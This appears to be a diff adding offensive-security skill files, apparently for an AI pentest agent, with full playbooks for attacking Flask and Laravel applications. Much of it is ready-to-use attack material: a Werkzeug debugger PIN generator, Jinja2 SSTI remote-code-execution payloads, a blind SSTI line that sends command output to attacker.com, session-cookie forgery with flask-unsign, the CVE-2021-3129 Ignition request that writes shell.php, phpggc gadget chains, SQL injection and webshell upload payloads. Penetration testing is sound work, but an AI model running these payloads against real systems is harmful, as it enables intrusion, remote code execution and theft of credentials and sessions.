  290. package/skills/offensive/airecon-fork/tools-nmap/SKILL.md +211 -0
  291. package/skills/offensive/airecon-fork/tools-nuclei/SKILL.md +175 -0
  292. package/skills/offensive/airecon-fork/tools-reporting/SKILL.md +47 -0
  293. package/skills/offensive/airecon-fork/tools-scripting/SKILL.md +1939 -0
  294. package/skills/offensive/airecon-fork/tools-semgrep/SKILL.md +202 -0
  295. package/skills/offensive/airecon-fork/tools-source-audit/SKILL.md +308 -0
  296. package/skills/offensive/airecon-fork/tools-sqlmap/SKILL.md +137 -0
  297. package/skills/offensive/airecon-fork/tools-tool-catalog/SKILL.md +320 -0
  298. package/skills/offensive/airecon-fork/tools-wapiti/SKILL.md +293 -0
  299. package/skills/offensive/airecon-fork/vulnerabilities-2fa-bypass/SKILL.md +219 -0
  300. package/skills/offensive/airecon-fork/vulnerabilities-account-takeover/SKILL.md +223 -0
  301. package/skills/offensive/airecon-fork/vulnerabilities-api-schema-exposure/SKILL.md +849 -0
  302. package/skills/offensive/airecon-fork/vulnerabilities-api-testing/SKILL.md +278 -0
  303. package/skills/offensive/airecon-fork/vulnerabilities-auth-workflow/SKILL.md +252 -0
  304. package/skills/offensive/airecon-fork/vulnerabilities-authentication-jwt/SKILL.md +158 -0
  305. package/skills/offensive/airecon-fork/vulnerabilities-bfla/SKILL.md +156 -0
  306. package/skills/offensive/airecon-fork/vulnerabilities-blind-xss/SKILL.md +111 -0
  307. package/skills/offensive/airecon-fork/vulnerabilities-business-logic/SKILL.md +313 -0
  308. package/skills/offensive/airecon-fork/vulnerabilities-cors/SKILL.md +242 -0
  309. package/skills/offensive/airecon-fork/vulnerabilities-crlf-injection/SKILL.md +146 -0
  310. package/skills/offensive/airecon-fork/vulnerabilities-csrf/SKILL.md +200 -0
  311. package/skills/offensive/airecon-fork/vulnerabilities-csrf-advanced-bypass/SKILL.md +536 -0
  312. package/skills/offensive/airecon-fork/vulnerabilities-deserialization/SKILL.md +363 -0
  313. package/skills/offensive/airecon-fork/vulnerabilities-dom-based-vulnerabilities/SKILL.md +105 -0
  314. package/skills/offensive/airecon-fork/vulnerabilities-exploitation/SKILL.md +286 -0
  315. package/skills/offensive/airecon-fork/vulnerabilities-grpc/SKILL.md +123 -0
  316. package/skills/offensive/airecon-fork/vulnerabilities-host-header-injection/SKILL.md +169 -0
  317. package/skills/offensive/airecon-fork/vulnerabilities-http-smuggling/SKILL.md +411 -0
  318. package/skills/offensive/airecon-fork/vulnerabilities-idor/SKILL.md +705 -0
  319. package/skills/offensive/airecon-fork/vulnerabilities-information-disclosure/SKILL.md +867 -0
  320. package/skills/offensive/airecon-fork/vulnerabilities-insecure-file-uploads/SKILL.md +190 -0
  321. package/skills/offensive/airecon-fork/vulnerabilities-jwt-attacks/SKILL.md +270 -0
  322. package/skills/offensive/airecon-fork/vulnerabilities-kubernetes/SKILL.md +252 -0
  323. package/skills/offensive/airecon-fork/vulnerabilities-mass-assignment/SKILL.md +788 -0
  324. package/skills/offensive/airecon-fork/vulnerabilities-nosql-injection/SKILL.md +204 -0
  325. package/skills/offensive/airecon-fork/vulnerabilities-oauth-misconfig/SKILL.md +220 -0
  326. package/skills/offensive/airecon-fork/vulnerabilities-oauth-saml/SKILL.md +163 -0
  327. package/skills/offensive/airecon-fork/vulnerabilities-open-redirect/SKILL.md +167 -0
  328. package/skills/offensive/airecon-fork/vulnerabilities-password-reset-poisoning/SKILL.md +66 -0
  329. package/skills/offensive/airecon-fork/vulnerabilities-path-traversal/SKILL.md +192 -0
  330. package/skills/offensive/airecon-fork/vulnerabilities-privilege-escalation/SKILL.md +320 -0
  331. package/skills/offensive/airecon-fork/vulnerabilities-prototype-pollution/SKILL.md +242 -0
  332. package/skills/offensive/airecon-fork/vulnerabilities-race-conditions/SKILL.md +192 -0
  333. package/skills/offensive/airecon-fork/vulnerabilities-rce/SKILL.md +240 -0
  334. package/skills/offensive/airecon-fork/vulnerabilities-sensitive-file-pii-exposure/SKILL.md +589 -0
  335. package/skills/offensive/airecon-fork/vulnerabilities-spring4shell/SKILL.md +86 -0
  336. package/skills/offensive/airecon-fork/vulnerabilities-sql-injection/SKILL.md +313 -0
  337. package/skills/offensive/airecon-fork/vulnerabilities-ssrf/SKILL.md +183 -0
  338. package/skills/offensive/airecon-fork/vulnerabilities-ssti/SKILL.md +344 -0
  339. package/skills/offensive/airecon-fork/vulnerabilities-subdomain-takeover/SKILL.md +160 -0
  340. package/skills/offensive/airecon-fork/vulnerabilities-supply-chain/SKILL.md +125 -0
  341. package/skills/offensive/airecon-fork/vulnerabilities-unhandled-exception-differential/SKILL.md +742 -0
  342. package/skills/offensive/airecon-fork/vulnerabilities-waf-detection/SKILL.md +90 -0
  343. package/skills/offensive/airecon-fork/vulnerabilities-web-cache-poisoning/SKILL.md +233 -0
  344. package/skills/offensive/airecon-fork/vulnerabilities-websocket/SKILL.md +180 -0
  345. package/skills/offensive/airecon-fork/vulnerabilities-xss/SKILL.md +316 -0
  346. package/skills/offensive/airecon-fork/vulnerabilities-xxe/SKILL.md +222 -0
@@ -0,0 +1,297 @@
1
+ <!-- aegis-local: forked 2026-05-04 from pikpikcu/airecon@9a21453459d87eefb012ea355c79b593d0d3c0cc (MIT-licensed); attribution preserved, see ATTRIBUTION.md -->
2
+
3
+ ---
4
+ name: flask
5
+ description: Security testing playbook for Flask applications covering Werkzeug debugger RCE, SSTI via Jinja2, session forgery, misconfigurations, and Flask-specific attack patterns
6
+ ---
7
+
8
+ # Flask Security Testing
9
+
10
+ Flask is a Python micro-framework — minimal by design, security depends entirely on developer choices. Critical attack surface: Werkzeug debugger RCE (PIN bypass), Jinja2 SSTI, secret key abuse for session forgery, and missing security defaults.
11
+
12
+ ---
13
+
14
+ ## Reconnaissance
15
+
16
+ ### Fingerprinting Flask
17
+
18
+ # Flask-specific headers and responses
19
+ Server: Werkzeug/<version> Python/<version> # Confirms Flask
20
+ Content-Type: text/html; charset=utf-8
21
+
22
+ # Common Flask framework paths
23
+ GET / # Root
24
+ GET /favicon.ico # May reveal app name
25
+ GET /_debug_toolbar/ # Flask Debug Toolbar
26
+ GET /console # Werkzeug interactive console (DEV ONLY)
27
+ GET /api/ # REST API root (Flask-RESTX, Flask-RESTful)
28
+ GET /api/swagger.json # Swagger docs
29
+ GET /api/docs # Swagger UI
30
+ GET /swagger/ # Flask-RESTX swagger
31
+ GET /graphql # Graphene (Flask GraphQL)
32
+
33
+ # 404 error reveals Werkzeug:
34
+ GET /nonexistent → "404 Not Found: The requested URL was not found on the server"
35
+ # Werkzeug debugger 500:
36
+ GET /any-route-that-errors → Interactive Python debugger in browser
37
+
38
+ # Exposed files
39
+ GET /.env
40
+ GET /config.py
41
+ GET /settings.py
42
+ GET /requirements.txt
43
+
44
+ ---
45
+
46
+ ## Werkzeug Debugger RCE
47
+
48
+ **CRITICAL** — If debug mode is on and the interactive console is accessible:
49
+
50
+ # 1. Detect debug mode:
51
+ GET /any-route-that-causes-exception
52
+ # Look for: interactive debugger in response, "↑ click to expand" in error page
53
+
54
+ # 2. Direct console access (old Werkzeug < 0.11):
55
+ GET /console
56
+ # Gives immediate Python REPL = instant RCE
57
+
58
+ # 3. PIN bypass (Werkzeug 0.11+ with PIN protection):
59
+ # The PIN is computed from: machine-id, MAC address, username, Python path, app module path
60
+ # If SSRF or LFI exists, read the components:
61
+
62
+ # Component 1: /etc/machine-id or /proc/sys/kernel/random/boot_id
63
+ curl <target>/read?file=/etc/machine-id
64
+
65
+ # Component 2: MAC address of network interface
66
+ curl <target>/read?file=/sys/class/net/eth0/address
67
+ # Convert to integer: int("00:11:22:33:44:55".replace(":",""), 16)
68
+
69
+ # Component 3: /etc/passwd → find username running Flask
70
+ curl <target>/read?file=/etc/passwd | grep www-data
71
+
72
+ # Component 4: Python executable path
73
+ curl <target>/read?file=/proc/<pid>/cmdline # Flask process PID
74
+
75
+ # Component 5: App module path (from error page source)
76
+
77
+ # Generate PIN (Python):
78
+ python3 -c "
79
+ import hashlib, itertools
80
+ from itertools import chain
81
+
82
+ probably_public_bits = [
83
+ 'www-data', # username
84
+ 'flask.app', # modname
85
+ 'Flask', # app class name
86
+ '/usr/local/lib/python3.9/dist-packages/flask/app.py', # app path
87
+ ]
88
+ private_bits = [
89
+ '2485377892366', # MAC as int
90
+ '<machine-id-content>',
91
+ ]
92
+
93
+ h = hashlib.sha1()
94
+ for bit in chain(probably_public_bits, private_bits):
95
+ if not bit: continue
96
+ if isinstance(bit, str): bit = bit.encode('utf-8')
97
+ h.update(bit)
98
+ h.update(b'cookiesalt')
99
+
100
+ cookie_name = '__wzd' + h.hexdigest()[:20]
101
+ rv = None
102
+ num = None
103
+ if num is None:
104
+ h.update(b'pinsalt')
105
+ num = ('%09d' % int(h.hexdigest(), 16))[:9]
106
+ rv = '-'.join([num[x:x+3] for x in range(0, 9, 3)])
107
+ print(f'PIN: {rv}')
108
+ "
109
+
110
+ # Use PIN to unlock console → Python REPL → RCE:
111
+ # Enter PIN in browser debugger interface → Interactive console → exec('import os; os.system("id")')
112
+
113
+ ---
114
+
115
+ ## Jinja2 SSTI (Server-Side Template Injection)
116
+
117
+ Flask uses Jinja2 as its template engine:
118
+
119
+ # Basic detection:
120
+ {{7*7}} # Returns 49 → Jinja2 confirmed
121
+ {{7*'7'}} # Returns 7777777 → Jinja2 (vs 49 = Twig)
122
+ ${7*7} # Returns ${7*7} → not Twig
123
+ <%= 7*7 %> # Returns <%= 7*7 %> → not ERB
124
+
125
+ # Information gathering:
126
+ {{config}} # Dump Flask config (SECRET_KEY, SQLALCHEMY_DATABASE_URI, etc.)
127
+ {{config.items()}}
128
+ {{request}} # Flask request object
129
+ {{request.environ}} # WSGI environment (server info)
130
+ {{self.__dict__}}
131
+
132
+ # RCE via Jinja2 sandbox bypass:
133
+ # Method 1: MRO traversal (most common)
134
+ {{''.__class__.__mro__[1].__subclasses__()}} # List all subclasses
135
+
136
+ # Find index of subprocess.Popen:
137
+ {{''.__class__.__mro__[1].__subclasses__()[<idx>]('id', shell=True, stdout=-1).communicate()}}
138
+
139
+ # Method 2: lipsum global
140
+ {{lipsum.__globals__['os'].popen('id').read()}}
141
+
142
+ # Method 3: request.application
143
+ {{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
144
+
145
+ # Method 4: cycler
146
+ {{cycler.__init__.__globals__.os.popen('id').read()}}
147
+
148
+ # Method 5: joiner
149
+ {{joiner.__init__.__globals__['os'].popen('id').read()}}
150
+
151
+ # Method 6: namespace
152
+ {{namespace.__init__.__globals__['os'].popen('id').read()}}
153
+
154
+ # Blind SSTI (no output):
155
+ {{''.__class__.__mro__[1].__subclasses__()[<idx>](['curl','http://attacker.com/?x='+__import__('os').popen('id').read()],stdout=-1)}}
156
+
157
+ # Fuzz for SSTI injection points:
158
+ # All GET/POST parameters, HTTP headers, URL path, cookie values, JSON fields
159
+
160
+ ---
161
+
162
+ ## Session Forgery (Flask SECRET_KEY)
163
+
164
+ Flask signs sessions with SECRET_KEY using itsdangerous:
165
+
166
+ # Flask session cookie format: base64(<data>).base64(<timestamp>).<signature>
167
+ # Decode session data:
168
+ python3 -c "
169
+ import base64, json, zlib
170
+ cookie = '<flask_session_cookie_value>'
171
+ payload = cookie.split('.')[0]
172
+ # Pad base64
173
+ payload += '=' * (4 - len(payload) % 4)
174
+ data = base64.b64decode(payload.replace('-','+').replace('_','/'))
175
+ try:
176
+ print(json.loads(zlib.decompress(data[1:]))) # Compressed
177
+ except:
178
+ print(json.loads(data))
179
+ "
180
+
181
+ # Find SECRET_KEY (look in source, .env, git history, config.py)
182
+ # Common weak keys:
183
+ SECRET_KEY = 'secret'
184
+ SECRET_KEY = 'dev'
185
+ SECRET_KEY = 'development'
186
+ SECRET_KEY = 'supersecret'
187
+ SECRET_KEY = 'changeme'
188
+
189
+ # Brute force SECRET_KEY with flask-unsign:
190
+ pip install flask-unsign
191
+ flask-unsign --unsign --cookie '<cookie>' --wordlist /usr/share/wordlists/rockyou.txt
192
+ flask-unsign --unsign --cookie '<cookie>' --wordlist /usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-1000.txt
193
+
194
+ # Forge session with known/cracked key:
195
+ flask-unsign --sign --cookie "{'user_id': 1, 'role': 'admin', 'logged_in': True}" --secret 'secret'
196
+ # Set the forged cookie → admin access
197
+
198
+ ---
199
+
200
+ ## SQL Injection (SQLAlchemy / SQLite)
201
+
202
+ Flask with SQLAlchemy ORM is parameterized, but raw text queries exist:
203
+
204
+ # Vulnerable:
205
+ db.engine.execute(f"SELECT * FROM users WHERE id={user_id}")
206
+ User.query.filter(text(f"username = '{username}'"))
207
+
208
+ # Safe:
209
+ User.query.filter_by(username=username)
210
+ db.execute("SELECT * FROM users WHERE id = :id", {"id": user_id})
211
+
212
+ # Test: standard SQLi payloads on all input fields
213
+
214
+ ---
215
+
216
+ ## CSRF
217
+
218
+ Flask has no built-in CSRF protection — depends on Flask-WTF or manual implementation:
219
+
220
+ # Check if CSRF is implemented:
221
+ # Look for csrf_token in form source
222
+ # Or check for X-CSRFToken / X-CSRF-Token header requirement
223
+
224
+ # If no CSRF protection:
225
+ # All state-changing POST requests are CSRF-vulnerable if cookies are used for auth
226
+
227
+ # Flask-Login uses cookies → all POST routes without Flask-WTF are CSRF-vulnerable
228
+
229
+ ---
230
+
231
+ ## Common Flask Misconfigurations
232
+
233
+ # Debug mode in production:
234
+ app.run(debug=True) # NEVER in production
235
+
236
+ # Weak secret key:
237
+ app.config['SECRET_KEY'] = 'dev'
238
+
239
+ # All origins CORS (Flask-CORS):
240
+ CORS(app) # Equivalent to Access-Control-Allow-Origin: *
241
+ CORS(app, resources={r"/api/*": {"origins": "*"}})
242
+
243
+ # No HTTPS enforcement:
244
+ # Missing Talisman or HSTS header
245
+
246
+ # Direct host binding:
247
+ app.run(host='0.0.0.0') # Exposed to all interfaces
248
+
249
+ # Unsafe deserialization (Pickle):
250
+ import pickle
251
+ data = pickle.loads(user_input) # RCE if user controls input
252
+
253
+ ---
254
+
255
+ ## Path Traversal in Static Files
256
+
257
+ # Flask serve static: /static/<filename>
258
+ GET /static/../../../etc/passwd
259
+ GET /static/..%2F..%2F..%2Fetc%2Fpasswd
260
+
261
+ # Custom static directories may also be vulnerable:
262
+ GET /uploads/../config.py
263
+
264
+ ---
265
+
266
+ ## Flask Extensions Attack Surface
267
+
268
+ # Flask-Admin (admin dashboard):
269
+ GET /admin/ # May be exposed without auth
270
+ GET /admin/user/ # User management
271
+
272
+ # Flask-DebugToolbar:
273
+ GET /_debug_toolbar/static/
274
+
275
+ # Flask-Login: check if remember_me cookie is signed properly
276
+
277
+ # Flask-Babel: locale injection
278
+ GET /endpoint?lang=../../../../etc/passwd%00
279
+
280
+ # Flask-Uploads: check allowed extensions
281
+ # Flask-Marshmallow: mass assignment via schema
282
+
283
+ ---
284
+
285
+ ## Pro Tips
286
+
287
+ 1. Check `Server: Werkzeug` header — confirms Flask and version
288
+ 2. `{{config}}` in SSTI dumps SECRET_KEY and database URLs directly
289
+ 3. Werkzeug PIN bypass is complex but reliable if LFI exists to read `/etc/machine-id`
290
+ 4. `flask-unsign` is the fastest tool for cracking Flask session cookies
291
+ 5. `debug=True` in production = instant RCE via `/console` — test immediately
292
+ 6. Flask has no CSRF protection by default — all cookie-based POST routes are vulnerable
293
+ 7. SQLite database file path is often in config — try `GET /app.db` or `GET /database.db`
294
+
295
+ ## Summary
296
+
297
+ Flask testing = check `Server: Werkzeug` + test SSTI with `{{7*7}}` on all inputs + decode/forge session cookie (flask-unsign) + probe `/console` for debug mode. SSTI in Flask/Jinja2 is direct RCE — `{{lipsum.__globals__['os'].popen('id').read()}}` is the most reliable payload. Session cookie forgery with weak/known SECRET_KEY is often easier than SSTI — always try `flask-unsign --wordlist` first.
@@ -0,0 +1,260 @@
1
+ <!-- aegis-local: forked 2026-05-04 from pikpikcu/airecon@9a21453459d87eefb012ea355c79b593d0d3c0cc (MIT-licensed); attribution preserved, see ATTRIBUTION.md -->
2
+
3
+ ---
4
+ name: laravel
5
+ description: Security testing playbook for Laravel applications covering debug mode, route enumeration, mass assignment, deserialization, and Laravel-specific misconfigurations
6
+ ---
7
+
8
+ # Laravel Security Testing
9
+
10
+ Laravel is the dominant PHP web framework. Attack surface: debug mode (Ignition), exposed routes, mass assignment via Eloquent, PHP object deserialization, CSRF bypass, file upload, and common config exposures.
11
+
12
+ ---
13
+
14
+ ## Reconnaissance
15
+
16
+ ### Fingerprinting Laravel
17
+
18
+ # Laravel-specific paths
19
+ GET /_ignition/health-check # Confirms Laravel + version (Ignition error handler)
20
+ GET /telescope # Laravel Telescope (debug dashboard)
21
+ GET /telescope/requests # HTTP requests log
22
+ GET /horizon # Laravel Horizon (queue monitor)
23
+ GET /nova # Laravel Nova (admin panel)
24
+ GET /api/documentation # L5-Swagger docs
25
+ GET /storage/logs/laravel.log # Log file exposure
26
+
27
+ # Headers
28
+ Set-Cookie: laravel_session=... # Session cookie name
29
+ X-Powered-By: PHP/...
30
+
31
+ # Error pages: Ignition shows full stack trace, local variables, file contents
32
+ GET /nonexistent-url # 404 with Laravel branding
33
+ POST /any-route-no-csrf # 419 Page Expired (CSRF failure) confirms Laravel
34
+
35
+ ---
36
+
37
+ ## Debug Mode (Critical — APP_DEBUG=true)
38
+
39
+ # Ignition remote code execution (CVE-2021-3129)
40
+ # Only affects Laravel < 8.4.2 with Ignition < 2.5.2
41
+ POST /_ignition/execute-solution
42
+ Content-Type: application/json
43
+ {
44
+ "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
45
+ "parameters": {
46
+ "variableName": "username",
47
+ "viewFile": "php://filter/write=convert.base64-decode/resource=../public/shell.php"
48
+ }
49
+ }
50
+
51
+ # Check if Ignition endpoint is accessible:
52
+ curl -s <target>/_ignition/health-check
53
+
54
+ # APP_DEBUG leaks: full stack trace, environment variables, DB credentials, APP_KEY
55
+ # Trigger 500: send malformed input to any endpoint
56
+
57
+ ---
58
+
59
+ ## Route Enumeration
60
+
61
+ # artisan route:list output exposed (common misconfiguration)
62
+ GET /routes # Sometimes developers expose this
63
+ GET /api/routes
64
+
65
+ # Common Laravel route patterns
66
+ GET /api/user # Auth user info (requires token)
67
+ POST /api/login
68
+ POST /api/register
69
+ GET /api/logout
70
+ GET /sanctum/csrf-cookie # Laravel Sanctum CSRF initialization
71
+ POST /oauth/token # Laravel Passport OAuth
72
+ GET /oauth/authorize
73
+
74
+ # Fuzz API versions
75
+ GET /api/v1/
76
+ GET /api/v2/
77
+
78
+ ---
79
+
80
+ ## Mass Assignment (Eloquent)
81
+
82
+ Laravel Eloquent `$fillable` vs `$guarded` controls mass assignment:
83
+
84
+ # Dangerous: $guarded = [] or no fillable restriction
85
+ # Test: inject extra fields in any POST/PUT request
86
+
87
+ # User registration → add admin fields
88
+ POST /api/register
89
+ {"name": "attacker", "email": "a@b.com", "password": "pass", "role": "admin", "is_admin": 1}
90
+
91
+ # Profile update → elevate privileges
92
+ PUT /api/profile
93
+ {"name": "me", "email": "a@b.com", "admin": true, "role_id": 1}
94
+
95
+ # Check response — if extra fields are reflected or accepted without error, mass assignment works
96
+
97
+ ---
98
+
99
+ ## CSRF
100
+
101
+ # Laravel uses CSRF tokens for all state-changing requests
102
+ # Token stored in session + X-XSRF-TOKEN cookie
103
+
104
+ # Bypass techniques:
105
+ # 1. Routes excluded from VerifyCsrfToken middleware (check routes/web.php leaks)
106
+ # 2. API routes are CSRF-exempt by default in routes/api.php
107
+ # 3. Content-Type: application/json bypass (some middleware configs)
108
+ # 4. X-XSRF-TOKEN header: read from cookie (requires cookie access = XSS or subdomain)
109
+
110
+ # Exploit: API routes don't require CSRF
111
+ POST /api/any-state-changing-action # No CSRF needed
112
+
113
+ ---
114
+
115
+ ## PHP Object Deserialization
116
+
117
+ Laravel uses serialize/unserialize in session handling and cache:
118
+
119
+ # Laravel APP_KEY needed to forge encrypted payloads
120
+ # If APP_KEY leaked (from debug page or .env):
121
+ # Use phpggc to generate gadget chains
122
+
123
+ phpggc Laravel/RCE1 system 'id' | base64 # Generate payload
124
+ phpggc Laravel/RCE2 system 'id'
125
+ phpggc -l | grep Laravel # List available gadget chains
126
+
127
+ # Vulnerable if using file/cookie session driver with old Laravel
128
+ # Forge Laravel session cookie using leaked APP_KEY
129
+
130
+ # CVE-2018-15133: Unserialize in X-XSRF-TOKEN header (old versions)
131
+
132
+ ---
133
+
134
+ ## SQL Injection
135
+
136
+ # Eloquent ORM is parameterized by default, but raw queries exist:
137
+
138
+ # Vulnerable patterns:
139
+ DB::select("SELECT * FROM users WHERE id = " . $id);
140
+ Model::whereRaw("name = '" . $name . "'");
141
+ Model::orderByRaw($column); # Order-by injection
142
+
143
+ # Safe patterns:
144
+ DB::select("SELECT * FROM users WHERE id = ?", [$id]);
145
+ Model::where('name', $name);
146
+
147
+ # Order-by injection (common Laravel pattern):
148
+ GET /api/users?sort=name` ASC,(SELECT SLEEP(5))--
149
+ GET /api/products?order_by=price`,(SELECT 1 FROM (SELECT SLEEP(5))x)--
150
+
151
+ ---
152
+
153
+ ## File Upload
154
+
155
+ # Laravel file handling via Storage facade
156
+ # Test upload endpoints:
157
+ POST /api/upload filename="shell.php" Content-Type: image/jpeg [PHP payload]
158
+ POST /api/upload filename="shell.php%00.jpg" # Null byte injection
159
+
160
+ # Path traversal in filename:
161
+ filename="../../../public/shell.php"
162
+
163
+ # Storage misconfigurations:
164
+ GET /storage/<uploaded-file> # storage:link exposes storage/app/public to /storage/
165
+ # Brute-force uploaded file paths if predictable names
166
+
167
+ # Check if MIME validation is server-side only:
168
+ Content-Type: image/jpeg + PHP payload = often accepted
169
+
170
+ ---
171
+
172
+ ## Environment File Exposure
173
+
174
+ # Critical: .env contains APP_KEY, DB credentials, API keys
175
+ GET /.env
176
+ GET /.env.backup
177
+ GET /.env.production
178
+ GET /.env.local
179
+ GET /config/database.php # If not protected
180
+
181
+ # APP_KEY format: base64:<32-byte-key>
182
+ # Used for: encrypted cookies, session tokens, signed URLs
183
+
184
+ # Laravel log file
185
+ GET /storage/logs/laravel.log
186
+ GET /storage/logs/laravel-2024-01-01.log # Date-based logs
187
+
188
+ ---
189
+
190
+ ## Laravel Telescope (Admin Debug Dashboard)
191
+
192
+ # Telescope exposed in production = critical
193
+ GET /telescope
194
+ GET /telescope/requests # All HTTP requests with parameters
195
+ GET /telescope/commands # Artisan commands executed
196
+ GET /telescope/queries # All SQL queries with full parameters
197
+ GET /telescope/exceptions # Error logs with stack traces
198
+ GET /telescope/models # Eloquent model changes
199
+ GET /telescope/mail # Emails sent (may include tokens)
200
+ GET /telescope/jobs # Queue jobs
201
+
202
+ # Telescope API (JSON)
203
+ GET /telescope/telescope-api/requests
204
+
205
+ ---
206
+
207
+ ## Laravel Horizon / Nova
208
+
209
+ # Horizon: queue job dashboard
210
+ GET /horizon
211
+ GET /horizon/api/stats
212
+ GET /horizon/api/jobs/pending
213
+
214
+ # Nova: admin panel (paid package)
215
+ GET /nova
216
+ GET /nova/login
217
+ GET /nova/api/resources/users # User management API
218
+
219
+ ---
220
+
221
+ ## Authentication
222
+
223
+ # Sanctum API token exposure
224
+ GET /sanctum/csrf-cookie # Initialize Sanctum
225
+
226
+ # Passport OAuth misconfigs
227
+ POST /oauth/token
228
+ {"grant_type": "client_credentials", "client_id": 1, "client_secret": "..."}
229
+
230
+ # Login response: check if password_confirm bypasses required re-auth
231
+ # Remember me token: very long-lived, check expiry
232
+
233
+ # Account enumeration via login response timing / different messages
234
+
235
+ ---
236
+
237
+ ## IDOR via Route Model Binding
238
+
239
+ # Laravel route model binding uses sequential integers by default
240
+ GET /api/invoices/1
241
+ GET /api/invoices/2 # Different user's invoice?
242
+
243
+ # UUIDs — still test: check if authorization validates ownership
244
+ GET /api/documents/550e8400-e29b-41d4-a716-446655440000
245
+
246
+ ---
247
+
248
+ ## Pro Tips
249
+
250
+ 1. Always check `/_ignition/health-check` — confirms version and if debug is on
251
+ 2. `.env` exposure is the most critical Laravel finding — check exhaustively
252
+ 3. Telescope in production = full application audit trail (queries, requests, emails)
253
+ 4. API routes (`/api/*`) are CSRF-exempt by default — any state-changing action is CSRF-vulnerable
254
+ 5. `APP_KEY` leak enables session forgery, encrypted field decryption, signed URL forgery
255
+ 6. Mass assignment on user registration is extremely common — always add `role`/`is_admin` fields
256
+ 7. `storage/` directory exposure via `php artisan storage:link` — uploaded files accessible publicly
257
+
258
+ ## Summary
259
+
260
+ Laravel testing = debug mode + .env exposure + Telescope dashboard + CSRF on API routes + mass assignment via Eloquent. APP_KEY is the crown jewel — it enables forgery of every cryptographic primitive in Laravel. Telescope in production is a free application audit log.